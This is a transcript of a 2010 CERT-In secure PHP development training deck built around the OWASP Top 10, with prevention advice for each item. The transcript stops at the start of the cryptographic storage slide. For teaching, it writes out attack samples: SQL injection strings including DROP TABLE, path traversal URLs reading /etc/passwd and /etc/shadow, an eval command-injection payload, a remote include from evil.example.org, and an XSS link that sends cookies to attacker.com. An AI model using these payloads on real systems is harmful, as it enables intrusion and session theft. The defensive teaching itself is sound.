Cert-In Training Program for Government, PSUs and Critical ...

129
Cert-In Training Program for Government, PSUs and Critical Sector Organizations In Collaboration With: Data Security Council of India Under the Project Cyber-Security Awareness Program, (A DIT-NASSCOM Project) Secure Development in PHP 24 th June 2010 Educated By: Aujas Networks Pvt Ltd

Transcript of Cert-In Training Program for Government, PSUs and Critical ...

Page 1: Cert-In Training Program for Government, PSUs and Critical ...

Cert-In Training Programfor

Government, PSUs and Critical Sector Organizations

In Collaboration With: Data Security Council of India

Under the Project

Cyber-Security Awareness Program,

(A DIT-NASSCOM Project)

Secure Development in PHP

24th June 2010

Educated By: Aujas Networks Pvt Ltd

Page 2: Cert-In Training Program for Government, PSUs and Critical ...

Disclaimer

• The aspects discussed in this presentation are purely my observationsand opinions. They may not be necessarily correct, specially whengeneralization is used.

• Incidents, examples, people, organizations etc. are used only to illustratethe points of discussion.

• We do not claim any rights on any proprietary content used forillustrations.

Page 3: Cert-In Training Program for Government, PSUs and Critical ...

Agenda

09:30 Registration and Welcome10:00 Introduction & Application Security Essentials

10:45 Secure PHP Platforms

11:15 Pause (15 Minutes)11:30 Understanding Attack Vectors ( Demo / Hands-on)

13:00 Pause (60 Minutes)14:00 Secure Coding Principles (Hands On)

15:15 Pause(15 Minutes)15:30 Secure Coding Principles (Hands On)

17:00 Q&A 17:15 Closing and Vote of Thanks

Page 4: Cert-In Training Program for Government, PSUs and Critical ...

Introduction To Application Security

Page 5: Cert-In Training Program for Government, PSUs and Critical ...

Security Revolution

Page 6: Cert-In Training Program for Government, PSUs and Critical ...

Some Statistics

The security of a software-intensive system is directly related to the quality of its software1.

• Over 90% of software security incidents are caused by attackers exploiting known software defects.

• Analysis of 45 e-business applications showed that 70% of security defects were design defects.

• Experienced and capable software engineers unintentionally inject, on average, one defect every nine lines of code.

• A one million line of code systems typically contains 1,000-5,000 defects when shipped.

1http://www.sei.cmu.edu/tsp/tsp-security.html

Some Statistics

Page 7: Cert-In Training Program for Government, PSUs and Critical ...

“The biggest vulnerability to a corporation’s network is its widespread

access to its applications. Security has focused on anti-virus and networksecurity – but the most crucial part of business transaction is theapplication and its core data.”

-- Curtis Coleman, CISSP.

As corporations leverage the power of WWW, Information security has reached its third age:

3rd Age - Age of Application Security

2nd Age - Age of Network Security

1st Age - Age of Anti-Virus

Why Application Security!

Page 8: Cert-In Training Program for Government, PSUs and Critical ...

"Today over 70% of attacks against a company website orapplication come at the 'Application Layer' not the network orsystem layer" - Gartner Group

Reasons –

Key Business Enablers

Today, Applications drive businesses and are critical to business operations.

Applications take many forms: informational website, ecommerce website, extranet / intranet application, search engine, transaction engine, e-business application etc.

As businesses have globalized, so the need for applications.

Why Application Security!

Page 9: Cert-In Training Program for Government, PSUs and Critical ...

Latest Trends and Statistics

Page 10: Cert-In Training Program for Government, PSUs and Critical ...

Statistics

Source : CERT-In

Page 11: Cert-In Training Program for Government, PSUs and Critical ...

Application Security Trends : Q3-Q4 2009

Source: Application Security Trends Report Q3-Q4 2009, Cenzic

Page 12: Cert-In Training Program for Government, PSUs and Critical ...

Application Security Trends : Q3-Q4 2009

Source: Application Security Trends Report Q3-Q4 2009, Cenzic

Page 13: Cert-In Training Program for Government, PSUs and Critical ...

Web Application Exploitation is Cheaper !

Page 14: Cert-In Training Program for Government, PSUs and Critical ...

Goals Of Application Security

Page 15: Cert-In Training Program for Government, PSUs and Critical ...

Application Development – Perfect World

Page 16: Cert-In Training Program for Government, PSUs and Critical ...

Application Development – Perfect World

Page 17: Cert-In Training Program for Government, PSUs and Critical ...

Goals of Application Security

3 Main Goals –

• Confidentiality

• Integrity

• Availability

Other important aspects – May not be applicable to All Applications

• Accountability

• Data Authentication

• Non-Repudiation

Confidentiality

IntegrityAvailability

Page 18: Cert-In Training Program for Government, PSUs and Critical ...

Top Common Reasons for Insecure Code

Page 19: Cert-In Training Program for Government, PSUs and Critical ...

Top Common Reasons for Insecure Code

• Lack of Awareness and Trainings – Secure Coding Principles

• Complexity and Integration of Programs

• Developers are from Mars, Security Professional are from Venus

• Focus on Go to Market (Time Constraint)

• Security Costs extra development time

• Most Developers do not think the way Attackers do !

Page 20: Cert-In Training Program for Government, PSUs and Critical ...

Top Common Reasons for Insecure Code

• Security is everyone's responsibility

Architecture Flaws

Design Flaws

Coding Flaws

In-adequate Testing

Configuration Flaws

Page 21: Cert-In Training Program for Government, PSUs and Critical ...

Application Security Challenges

Page 22: Cert-In Training Program for Government, PSUs and Critical ...

Time Constraint

Develop

• Focus on Features

• Time to Market

• Lack of Security Awareness

Test

• Focus on Functionality Test

• Can only probe - No Trace to Root Cause

Deploy• No visibility of Application Security Events

Page 23: Cert-In Training Program for Government, PSUs and Critical ...

Many Reasons

• Applications are protection layer for –– Intellectual Property– Customer/Partner/Employee Private Information

• Internet Facing applications expose a greater “attack surface”

• Impact/ Ramifications of breaches is high– Laws and Regulations such as HIPAA, SOX, GLBA, DPA, IPR etc.– Financial implications of unauthorized disclosure– Damage to business reputation– System down time– Lost Consumer Confidence

• No Standard Patches Available for Customized Application

Page 24: Cert-In Training Program for Government, PSUs and Critical ...

Cost

Page 25: Cert-In Training Program for Government, PSUs and Critical ...

Regulations

• PCI Compliance says that your application should be free from owasp top 10 vulnerabilities

• COBIT Says “Acquire and Maintain application Software”

• ISO 27001 certification “your application should be secure”.

Page 26: Cert-In Training Program for Government, PSUs and Critical ...

Traditional Vs Secure SDLC

Page 27: Cert-In Training Program for Government, PSUs and Critical ...

Traditional SDLC vs. Secure SDLC

Page 28: Cert-In Training Program for Government, PSUs and Critical ...

Secure Design Issues & Guidelines

Page 29: Cert-In Training Program for Government, PSUs and Critical ...

Architecture and Design Issues for Web Applications

Page 30: Cert-In Training Program for Government, PSUs and Critical ...

Architecture and Design Issues for Web Applications

Vulnerability Category Potential Problem Due to Bad DesignInput Validation Attacks performed by embedding malicious strings in query strings, form fields,

cookies, and HTTP headers. These include command execution, cross-site scripting (XSS), SQL injection, and buffer overflow attacks.

Authentication Identity spoofing, password cracking, elevation of privileges, and unauthorized access.

Authorization Access to confidential or restricted data, tampering, and execution of unauthorized operations.

Configuration Management Unauthorized access to administration interfaces, ability to update configuration data, and unauthorized access to user accounts and account profiles.

Sensitive Data Confidential information disclosure and data tampering.Session Management Capture of session identifiers resulting in session hijacking and identity spoofing.

Cryptography Access to confidential data or account credentials, or both.Parameter Manipulation Path traversal attacks, command execution, and bypass of access control

mechanisms among others, leading to information disclosure, elevation of privileges, and denial of service.

Exception Management Denial of service and disclosure of sensitive system level details.

Auditing and Logging Failure to spot the signs of intrusion, inability to prove a user's actions, and difficulties in problem diagnosis.

Page 31: Cert-In Training Program for Government, PSUs and Critical ...

Design Guidelines For Secure Web Application

• The most secure and hack-resilient Web applications are those that have been built from the ground up with security in mind.

Category GuidelinesInput Validation Do not trust input; consider centralized input validation. Do not rely on client-side

validation. Be careful with canonicalization issues. Constrain, reject, and sanitize input. Validate for type, length, format, and range.

Authentication Partition site by anonymous, identified, and authenticated area. Use strong passwords. Support password expiration periods and account disablement. Do not store credentials (use one-way hashes with salt). Encrypt communication channels to protect authentication tokens. Pass Forms authentication cookies only over HTTPS connections.

Authorization Use least privileged accounts. Consider authorization granularity. Enforce separation of privileges. Restrict user access to system-level resources.

Configuration Management Use least privileged process and service accounts. Do not store credentials in plaintext. Use strong authentication and authorization on administration interfaces. Do not use the LSA. Secure the communication channel for remote administration. Avoid storing sensitive data in the Web space.

Page 32: Cert-In Training Program for Government, PSUs and Critical ...

Category GuidelinesSensitive Data Avoid storing secrets. Encrypt sensitive data over the wire. Secure the

communication channel. Provide strong access controls on sensitive data stores. Do not store sensitive data in persistent cookies. Do not pass sensitive data using the HTTP-GET protocol.

Session Management Limit the session lifetime. Secure the channel. Encrypt the contents of authentication cookies. Protect session state from unauthorized access.

Cryptography Do not develop your own. Use tried and tested platform features. Keep unencrypted data close to the algorithm. Use the right algorithm and key size. Avoid key management (use DPAPI). Cycle your keys periodically. Store keys in a restricted location.

Parameter Manipulation Encrypt sensitive cookie state. Do not trust fields that the client can manipulate (query strings, form fields, cookies, or HTTP headers). Validate all values sent from the client.

Exception Management Use structured exception handling. Do not reveal sensitive application implementation details. Do not log private data such as passwords. Consider a centralized exception management framework.

Auditing and Logging Identify malicious behavior. Know what good traffic looks like. Audit and log activity through all of the application tiers. Secure access to log files. Back up and regularly analyze log files.

Design Guidelines For Secure Web Application

Page 33: Cert-In Training Program for Government, PSUs and Critical ...

Introduction to Vulnerable PHP Application

Page 34: Cert-In Training Program for Government, PSUs and Critical ...

Demo Application - Mutillidae

Vulnerable Application: Mutillidae

Developed by Irongeek, Andrian Crenshaw, Irongeek(-a-t-)irongeek.comhttp://www.irongeek.com/i.php?page=security/mutillidae-deliberately-

vulnerable-php-owasp-top-10

Its an Deliberately Vulnerable Set Of PHP Scripts That Implement and illustrates The OWASP Top 10 Vulnerabilities.

Written in MySql/PHP

Simple to Install, Run, Exploit and Easy to reset.

Page 35: Cert-In Training Program for Government, PSUs and Critical ...

Common PHP Mistakes

Page 36: Cert-In Training Program for Government, PSUs and Critical ...

Common PHP Programming Mistakes

• Insecure PHP Configuration – Configuration Directives (php.ini)

• Insufficient Authentication, Authorization and Access Control Checks

• Insufficient input & output data validation

• Insufficient Error Handling

.

Page 37: Cert-In Training Program for Government, PSUs and Critical ...

Configuration Directives cntd..

A.1. allow_url_fopen

• Allows you to reference remote resources as if they are local files.

• Dangerous when combined with the use of include or require.

<?php

$contents = file_get_contents('http://example.org/xss.html');

?>

<?php

include 'http://evil.example.org/evil.inc';

?>

Recommend disabling allow_url_fopen unless your application requires it.

Page 38: Cert-In Training Program for Government, PSUs and Critical ...

Configuration Directives cntd..

A.2 register_globals directive enabled• Arguably most common source of vulnerability in PHP applications

– Any input parameters are translated to variables.• ?foo=bar >> $foo = “bar”;

– Un-initialized variables can be “injected” via user inputs.

Recommend disabling register_globals unless your application requires it.If required enabled, it is very important that you initialize all variables and seterror_reporting to E_ALL (or E_ALL | E_STRICT) to alert yourself to the use ofuninitialized variables.

if (authenticated_user()) {

$authorized = true;

}

if ($authorized) {

include

'/highly/sensitive/data.php';

}

Because $authorized is left un-initialized

if user authentication fails, an attacker could access privileged data by simply passing the value via GET.http://example.com/script.php?authorized=1

Page 39: Cert-In Training Program for Government, PSUs and Critical ...

Configuration Directives cntd..

A.3. open_basedir

• Limits the files that can be opened by PHP to a specific directory.• Reduce the likelihood of many attacks that target file system functions, as well

as include and require.

Recommend enabling open_basedir to your application base directory.Example: open_basedir = /var/www/htdocs/yourwebapp

http://example.org/index.php?username=filename

http://example.org/index.php?username=../../../../etc/passwd

Note: Be sure to disable the enable_dl directive; otherwise, open_basedirrestrictions can be circumvented

Page 40: Cert-In Training Program for Government, PSUs and Critical ...

Configuration Directives cntd..

A.4. disable_functions

• Useful for ensuring that potentially dangerous functions cannot be used.• Reduce the likelihood of many attacks that target system and file system

functions.– eval(), exec(), proc_open(), shell_exec(), system(), etc.

Enforcing such restrictions in the configuration of PHP is much more reliableand recommended. Example:

eval(input);

Malicious input :

script.php?input=;passthru("cat /etc/paswd");

Page 41: Cert-In Training Program for Government, PSUs and Critical ...

Configuration Directives cntd..

A.5. file_uploads• if your application does not need to accept files uploaded by users, it is best to

disable this feature.• Reduces likelyhood of Arbitrary File Upload Attacks

A.6. safe_mode• Very useful to prevent unauthorized access to local system files.• When safe mode is enabled, PHP performs an extra check to ensure that a file

to be read (or otherwise operated on) has the same owner as the script being executed.

A.7. Error Handling - display_errors, log_errors• Recommended to disable display_errors, and enable log_errors in production.• Errors in production may reveal vital information to a malicious user and

comprise to a security risk.

Page 42: Cert-In Training Program for Government, PSUs and Critical ...

Configuration Directives cntd..

• Limit on Execution Time, Memory Usage, File Upload, POST data

max_execution_time = 30 ; Max script execution time

max_input_time = 60 ; Max time spent parsing input

memory_limit = 16M ; Max memory used by one script upload_max_filesize = 2M ; Max upload file size

post_max_size = 8M ; Max post size

• Limit Access to Certain File Name Patterns

<filesmatch>

Order allow, deny

Deny from all

</filesmatch>

Page 43: Cert-In Training Program for Government, PSUs and Critical ...

Checklist for Secure PHP Configuration

• Disable PHP Version Disclosure

expose_php = Off

Page 44: Cert-In Training Program for Government, PSUs and Critical ...

PHP Security Checklist & Auditing

Page 45: Cert-In Training Program for Government, PSUs and Critical ...

PHP Security Checklist & Auditing

• PHP Security Checklist– PHP Security Manual

http://www.php.net/manual/en/security.php

– PHP Security Consortium

http://phpsec.org/projects/guide/

– PHP Guidelines – pg 257

http://www.owasp.org/index.php/Category:OWASP_Guide_Project#tab=Downloads

• PHP Configuration Security Auditing– PHP Security Consortium – PhpSecInfo Tool

PhpSecInfo reports security information about the PHP environment, and offers suggestions for improvement.

http://phpsec.org/projects/phpsecinfo/index.html

Page 46: Cert-In Training Program for Government, PSUs and Critical ...

Demo!

Page 47: Cert-In Training Program for Government, PSUs and Critical ...

OWASP TOP TEN 2010 For Demo PHP Application

Page 48: Cert-In Training Program for Government, PSUs and Critical ...

OWASP TOP TEN - 2010

Page 49: Cert-In Training Program for Government, PSUs and Critical ...

A1-Injection

Page 50: Cert-In Training Program for Government, PSUs and Critical ...

A1 - Injection

(Code) Injection occurs when user-supplied data is sent to an interpreter as part ofa command or query. The attacker’s hostile data tricks the interpreter intoexecuting unintended commands or changing data.

Common Code Injection Vulnerabilities:

a. SQL Injection [demo + hands on]

b. Command Inject [demo + hands on]

c. LDAP Injection

Injection flaws are very prevalent, particularly in legacy code, often found in SQLqueries, LDAP queries, XPath queries, OS commands, XML, program arguments,etc.

• Any input field whose values are used to craft a SQL query

http://www.site.com/articleid.php?id=42

• Insert (‘) or 4’2 instead of 42 and look for the response

Page 51: Cert-In Training Program for Government, PSUs and Critical ...

Example – SQL Injection

Example #1: Usual query for user login in PHP,$sql=”SELECT * FROM tbl_user WHERE username= ‘”.$_POST*'username'+.”‘ AND password= ‘”.$_POST*'password'+.”‘”;$result=mysql_query($sql);

Injection: Username=x’ OR ‘x’='x and Password=x’ OR ‘x’=‘x

Then, final query becomesSELECT * FROM tbl_user WHERE username=’x’ OR ‘x’='x’ AND password=’x’ OR ‘x’='x’;

---Example #2: Suppose a query in a product detail page$sql=”SELECT * FROM product WHERE product_id= ‘”.$_GET*'product_id'+.”‘”;Injection: 10′; DROP TABLE product; #

Final URL looks like thishttp://xyz.com/product.php?id=10′; DROP TABLE product; #Now query becomes like thisSELECT * FROM product WHERE product_id=’10′; DROP TABLE product; #’;

Page 52: Cert-In Training Program for Government, PSUs and Critical ...

Fire

wal

l

Hardened OS

Web Server

App Server

Fire

wal

l

Dat

abas

es

Lega

cy S

yste

ms

Web

Ser

vice

s

Dir

ecto

ries

Hu

man

Res

rcs

Bill

ing

Custom Code

APPLICATIONATTACK

Net

wo

rk L

ayer

Ap

plic

atio

n L

ayer

Acc

ou

nts

Fin

ance

Ad

min

istr

atio

n

Tran

sact

ion

s

Co

mm

un

icat

ion

Kn

ow

led

ge M

gmt

E-C

om

mer

ce

Bu

s. F

un

ctio

ns

HTTP

request

SQL

query

DB Table

HTTP

response

"SELECT * FROM

accounts WHERE

acct=‘’ OR 1=1--

’"

1. Application presents a form to the attacker

2. Attacker sends an attack in the form data

3. Application forwards attack to the database in a SQL query

Account Summary

Acct:5424-6066-2134-4334

Acct:4128-7574-3921-0192

Acct:5424-9383-2039-4029

Acct:4128-0004-1234-0293

4. Database runs query containing attack and sends encrypted results back to application

5. Application decrypts data as normal and sends results to the user

Account:

SKU:

Account:

SKU:

Example

Page 53: Cert-In Training Program for Government, PSUs and Critical ...

Demo!

Page 54: Cert-In Training Program for Government, PSUs and Critical ...

How do I prevent Injection?

Use Strong Input Data Validation strategy

• Use a standard input validation mechanism to validate all input data

• Use an "accept known good" validation strategy (whitelisting)

• Reject invalid input

• Do not use blacklist validation

Use strongly typed parameterized query

• Use interface that supports bind variables with placeholder substitutionmarkers

• Do not use dynamic query interfaces

Enforce least privilege when connecting to databases and other backend systems

Avoid detailed error messages

Page 55: Cert-In Training Program for Government, PSUs and Critical ...

How do I prevent Injection?

Prepared Statements:

Vulnerable Query -

$query = "SELECT * FROM accounts WHERE username='". $username ."' ANDpassword='".stripslashes($password)."'";

$result = mysql_query($query) or die….

Remediated Query -

$stmt = $connection->prepare("SELECT cid FROM accounts WHERE username=? ANDpassword=?");

//Bind Statement String Parameters

//i - Integer s-String

$stmt->bind_param("ss",$username, $password);

$stmt->execute();

Page 56: Cert-In Training Program for Government, PSUs and Critical ...

Demo!

Page 57: Cert-In Training Program for Government, PSUs and Critical ...

A2-Cross Site Scripting (XSS)

Page 58: Cert-In Training Program for Government, PSUs and Critical ...

A2 - Cross Site Scripting (XSS)

XSS flaws occur whenever an application takes un-trusted data and sends it to aweb browser without proper validation and escaping.

XSS allows attackers to execute scripts in the victim’s browser which can hijackuser sessions, deface web sites, or redirect the user to malicious sites.

Very common

Page 59: Cert-In Training Program for Government, PSUs and Critical ...

Categories of XSS

Reflected XSS

Stored XSS

• Reflected

Attacker embed JS Link in your Website and ask users to follow it

• Stored/Persistent

Attacker get his/her XSS in to your site’s database somehow so that it shows up on your pages

Categories

Page 60: Cert-In Training Program for Government, PSUs and Critical ...

Typical Stored XSS AttackAttacking trust relationships

XSS - Cross Site Scripting:

Inserting a malicious script that compromises the trust relationship between a user and a Web application, resulting in sending an attacker confidential information that can be used to steal that user’s identity.

Innocent user clicks <but the web app downloads script and

executes>

2

Hacker posts <malicious script> through vulnerable Web

application

1

3

Script captures credential info and

sends to hacker

Typical Stored XSS

Page 61: Cert-In Training Program for Government, PSUs and Critical ...

Stored Cross Site Scripting

• Hostile data stored in files, database or any other backend system

• a page will reflect above user supplied data invalidated to the user at a laterstage

• CMS, blogs, forums

HTML page returns the user supplied data invalidated to another user:

out.writeln("<tr><td>" + guest.name + "<td>" + guest.comment);

Stored XSS

Page 62: Cert-In Training Program for Government, PSUs and Critical ...

How Reflected XSS WorksReflected XSS

Page 63: Cert-In Training Program for Government, PSUs and Critical ...

Reflected Cross Site Scripting

• Easiest to exploit

• a page will reflect user supplied data directly back tothe user

Example:<%=request.getParameter(“query”);%>

HTML (Output Page) returns the search phrase invalidated to the user:

out.writeln(“You searched for: “+request.getParameter(“query”);

Reflected XSS

Page 64: Cert-In Training Program for Government, PSUs and Critical ...

Reflected XSS Example

<html>

<head>

<title>Look at this!</title>

</head>

<body>

<a

href="http://xyz.com/webmonkey/00/18/index3a_page2.html?tw=<script>document.location.replace('http://attacker.com/steal.cgi?'+document.cookie);</script>"

onMouseOver="window.status='http://www.cnn.com/2002/SHOWBIZ/News/05/02/clinton.talkshow.reut/index.html';return true"

onMouseOut="window.status='';return true"> Check this CNN story out!

</a>

</body>

</html>

Reflected XSS Example

Page 65: Cert-In Training Program for Government, PSUs and Critical ...

Reflected XSS Example

Actual redirect request looks like the following:

http://attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C20100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=1019511286

Reflected XSS Example

Page 66: Cert-In Training Program for Government, PSUs and Critical ...

Demo!

Page 67: Cert-In Training Program for Government, PSUs and Critical ...

How do I prevent XSS?

Use Strong Input Data Validation strategy

• Use a standard input validation mechanism to validate all input data

• Use an "accept known good" validation strategy (whitelisting)

• Reject invalid input

• Do not use blacklist validation

Use strong output encoding (OWASP PHP Anti-XSS library)

• Ensure that all user-supplied data is appropriately entity encoded

• Specify the output encoding (UTF 8). Do not allow the attacker to choose thisfor your users.

Prevention of XSS is as simple as filtering input data via one of the following:htmlspecialchars() => Encodes ‘, “, <, >, &htmlentities() => Convert anything that there is HTML entity for.strip_tags() => Strips anything that resembles HTML tag.

Page 68: Cert-In Training Program for Government, PSUs and Critical ...

A3-Broken Authentication & Session Management

Page 69: Cert-In Training Program for Government, PSUs and Critical ...

A3-Broken Authentication & Session Management

Application functions related to authentication and session management are oftennot implemented correctly, allowing attackers to compromise passwords, keys,session tokens, or exploit other implementation flaws to assume other users’identities.

Weaknesses are more often introduced through ancillary authentication functionssuch as:

• logout,

• password management,

• timeout,

• remember me,

• secret question,

• and account update

Page 70: Cert-In Training Program for Government, PSUs and Critical ...

Example Scenarios

Scenario #1: Airline reservations application supports URL rewriting, puttingsession IDs in the URL:http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii

An authenticated user of the site wants to let his friends know about the sale.He e-mails the above link without knowing he is also giving away his session ID.When his friends use the link they will use his session and credit card.----Scenario #2: Application’s timeouts aren’t set properly. User uses a publiccomputer to access site. Instead of selecting “logout” the user simply closes thebrowser tab and walks away. Attacker uses the same browser an hour later, andthat browser is still authenticated.----Scenario #3: Insider or external attacker gains access to the system’s passworddatabase. User passwords are not encrypted, exposing every users’ password tothe attacker.

Page 71: Cert-In Training Program for Government, PSUs and Critical ...

Illustration!

Custom Code

Acc

ou

nts

Fin

ance

Ad

min

istr

atio

n

Tran

sact

ion

s

Co

mm

un

icat

ion

Kn

ow

led

ge M

gmt

E-C

om

me

rce

Bu

s. F

un

ctio

ns

1 User sends credentials

2Site uses URL rewriting

(i.e., put session in URL)

3 User clicks on a link to http://www.hacker.com in a forum

www.boi.com?JSESSIONID=9FA1DB9EA...

4

Hacker checks referer logs on www.hacker.com

and finds user’s JSESSIONID

5 Hacker uses JSESSIONID and takes over victim’s account

Page 72: Cert-In Training Program for Government, PSUs and Critical ...

Demo!

Page 73: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent Broken Authentication and Session Management?

Use strong authentication and session management controls. • Controls should minimum meet all requirements defined in OWASP’s Application Security Verification Standard (ASVS) • Areas V2 (Authentication) and V3 (Session Management). • Reference: http://www.owasp.org/images/4/4e/OWASP_ASVS_2009_Web_App_Std_Release.pdf

Ensure SSL to protect both credential and session data in transit.

Strong efforts should also be made to avoid XSS flaws which can be used to steal session IDs.

Page 74: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent Broken Authentication and Session Management?

Use a single authentication mechanism with appropriate strength Do not allow the login process to start from an unencrypted page. Do not accept new, preset or invalid session identifier Only use the inbuilt session management mechanism Consider regenerating a new session upon successful authentication or privilege level change. Ensure that every page has a logout link Use a timeout period Do not expose any session identifiers or any portion of valid credentials in URLs or logs Check the old password when the user changes to a new password Validate before sending secrets to registered e-mail addresses

Page 75: Cert-In Training Program for Government, PSUs and Critical ...

A4-Insecure Direct Object References

Page 76: Cert-In Training Program for Government, PSUs and Critical ...

A4-Insecure Direct Object References

A.k.a. Parameter Manipulation

Applications often expose internal objects, making them accessible via parameters.When those objects are exposed, the attacker may manipulate unauthorizedobjects, if proper access controls are not in place.

Internal Objects might include Files or Directories URLs Database key, such as acct_no, group_id etc. Other database object names such as table name

Attackers can manipulate those references to access other objects withoutauthorization. I.e. Without an access control check or other protection, attackerscan manipulate these references to access unauthorized data.

Page 77: Cert-In Training Program for Government, PSUs and Critical ...

Example Scenario #1

Assume a web application allows for a file to be rendered to a user that is stored on the local machine.

If the application isn’t verifying what files should be accessed, an attacker can request other files on the file system and those will also be displayed.

For instance, if the attacker notices the URL:http://misc-security.com/file.php?file=report.txt

The attacker could modify the file parameter using a directory traversal attack. He modifies the URL to:http://misc-security.com/file.php?file=../../../etc/shadow

Upon doing this the /etc/shadow file is returned and rendered by file.php demonstrating the page is susceptible to a directory traversal attack.

Page 78: Cert-In Training Program for Government, PSUs and Critical ...

• Attacker notices his acct parameter is 6065

?acct=6065

• He modifies it to a nearby number

?acct=6066

• Attacker views the victim’s account information

https://www.onlinebank.com/user?acct=6065

Example Scenario: #2

Page 79: Cert-In Training Program for Government, PSUs and Critical ...

Demo!

Page 80: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent Insecure Direct Object References?

1. Use per user or session indirect object references. This prevents attackers from directly targeting unauthorized resources. For example,

OWASP’s ESAPI includes both sequential and random access reference maps that developers can use to eliminate direct object references.

2. Check access. Each use of a direct object reference from an untrusted source mustinclude an access control check to ensure the user is authorized for the requestedobject.

http://app?file=1Report123.xls

http://app?id=7d3J93Acct:9182374

http://app?id=9182374

http://app?file=Report123.xlsAccess

Reference

Map

Page 81: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent Insecure Direct Object References?

Strongly validate user input using "accept known good" as a strategy

Add firewall rules to prevent web servers making new connections to external web sites and internal systems.

Consider implementing a chroot jail or other sand box mechanisms.

# PHP: Disable allow_url_fopen and allow_url_include in php.ini and consider .building PHP locally to not include this functionality.

# PHP: Disable register_globals and use E_STRICT to find uninitialized variables.

# PHP: Ensure that all file and streams functions (stream_*) are carefully vetted.

Page 82: Cert-In Training Program for Government, PSUs and Critical ...

A5-Cross Site Request Forgery (CSRF)

Page 83: Cert-In Training Program for Government, PSUs and Critical ...

A5-Cross Site Request Forgery (CSRF)

A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request,including the victim’s session cookie and any other automatically includedauthentication information, to a vulnerable web application.

This allows the attacker to force the victim’s browser to generate requests thevulnerable application thinks are legitimate requests from the victim.

Typical Impact:

1. Unauthorized transactions,

2. Illegitimate Access to sensitive user data

Page 84: Cert-In Training Program for Government, PSUs and Critical ...

Example Scenario

Target Web App

Client

Website the attacker controls

1. Session established with web app via a cookie. (already logged in)

2. At some later point, content that the attacker controls is requested.

3. Attacker serves up content that asks client’s browser to make a request.

4. Client makes request, and since it already has a session cookie the request is honored.

Page 85: Cert-In Training Program for Government, PSUs and Critical ...

Demo!

Page 86: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent CSRF?

Ensure that there are no XSS vulnerabilities in your application

Insert custom random tokens into every form and URL that will not be automatically submitted by the browser. For example, <form action="/transfer.do" method="post"><input type="hidden" name="8438927730" value="43847384383">…</form>And then verify that the submitted token is correct for the current user. Such tokens can be unique to that particular function or page for that user, or simply unique to the overall session.

For sensitive data or value transactions, re-authenticate or use transaction signing

Do not use GET requests (URLs) for sensitive data or to perform value transactions.However, POST alone is insufficient a protection. See: www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet for more

Page 87: Cert-In Training Program for Government, PSUs and Critical ...

A6-Security Misconfiguration

Page 88: Cert-In Training Program for Government, PSUs and Critical ...

A6-Security Misconfiguration

Good security requires having a secure configuration defined and deployed for theapplication, frameworks, application server, web server, database server, andplatform.

All these settings should be defined, implemented, and maintained as many arenot shipped with secure defaults.

This includes keeping all software up to date, including all code libraries used bythe application.

Page 89: Cert-In Training Program for Government, PSUs and Critical ...

Example Scenario

Scenario #2:

i. The app server admin console is automatically installed and not removed. Default accounts aren’t changed.

ii. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

Scenario #3:

i. Directory listing is not disabled on your server. ii. Attacker discovers she can simply list directories to find any file. iii. Attacker finds and downloads all your compiled Java classes, which he reverse

engineers to get all your custom code. iv. Attacker then finds a serious access control flaw in your application.

Page 90: Cert-In Training Program for Government, PSUs and Critical ...

Demo!

Page 91: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent Security Misconfiguration?

The primary recommendations are to establish all of the following:

A repeatable hardening process that makes it fast and easy to deploy anotherenvironment that is properly locked down.

Development, QA, and production environments should all be configuredidentically.

Analyze security effects of changes

Keep up with patches for ALL components This includes software libraries, not just OS and Server applications

A strong application architecture that provides good separation and security between components.

Periodic security audits and scans to identify security loopholes.

Page 92: Cert-In Training Program for Government, PSUs and Critical ...

Error & Exception Handling

The primary recommendations are to establish all of the following:

<?php ini_set('error_reporting', E_ALL | E_STRICT); ini_set('display_errors', 'Off'); ini_set('log_errors', 'On'); ini_set('error_log', '/usr/local/apache/logs/error_log'); ?>

Having error_reporting set to E_ALL will help to enforce the initialization of variables

PHP also allows you to handle your own errors with the set_error_handler( ) function:

<?phpset_error_handler('my_error_handler'); ?> my_error_handler(error_level,error_message, error_file,error_line,error_context);

Page 93: Cert-In Training Program for Government, PSUs and Critical ...

Error & Exception Handling

Exception Handling: Try – Throw - Catch

<?phptry , …$error = 'Always throw this error'; throw new Exception($error); // Code following an exception is not executed. echo 'Never executed'; } catch (Exception $e) { echo 'Caught exception: ', $e->getMessage(), "\n"; }// Continue execution echo 'Hello World'; ?>

$e->getMessage function is uded to get error message.

Page 94: Cert-In Training Program for Government, PSUs and Critical ...

A7-Insecure Cryptographic Storage

Page 95: Cert-In Training Program for Government, PSUs and Critical ...

A7-Insecure Cryptographic Storage

Many web applications do not properly protect sensitive data, such as credit cards,SSNs, and authentication credentials, with appropriate encryption or hashing.

Attackers may steal or modify such weakly protected data to conduct identitytheft, credit card fraud, or other crimes.

Applications that do encrypt frequently contain poorly designed cryptography,either using inappropriate ciphers or making serious mistakes using strong ciphers.

These flaws can lead to disclosure of sensitive data and compliance violations.

Attackers access or modify confidential or private information like credit cards,health care records, financial data (yours or your customers)

Page 96: Cert-In Training Program for Government, PSUs and Critical ...

Example Scenario

Common problems faced are:

Not encrypting sensitive data

Using home grown algorithms

Insecure use of strong algorithms

Continued use of proven weak algorithms (MD5, SHA-1, RC3, RC4, etc…)

Hard coding keys, and storing keys in unprotected stores

Page 97: Cert-In Training Program for Government, PSUs and Critical ...

Illustration

Custom Code

Acc

ou

nts

Fin

ance

Ad

min

istr

atio

n

Tran

sact

ion

s

Co

mm

un

icat

ion

Kn

ow

led

ge

Mgm

tE-

Co

mm

erce

Bu

s. F

un

ctio

ns

1Victim enters credit card number in form

2Error handler logs CC details because merchant

gateway is unavailable

4 Malicious insider steals 4 million credit card numbers

Log files

3Logs are accessible to all members of IT staff for

debugging purposes

Page 98: Cert-In Training Program for Government, PSUs and Critical ...

Demo!

Page 99: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent Insecure Cryptographic Storage?

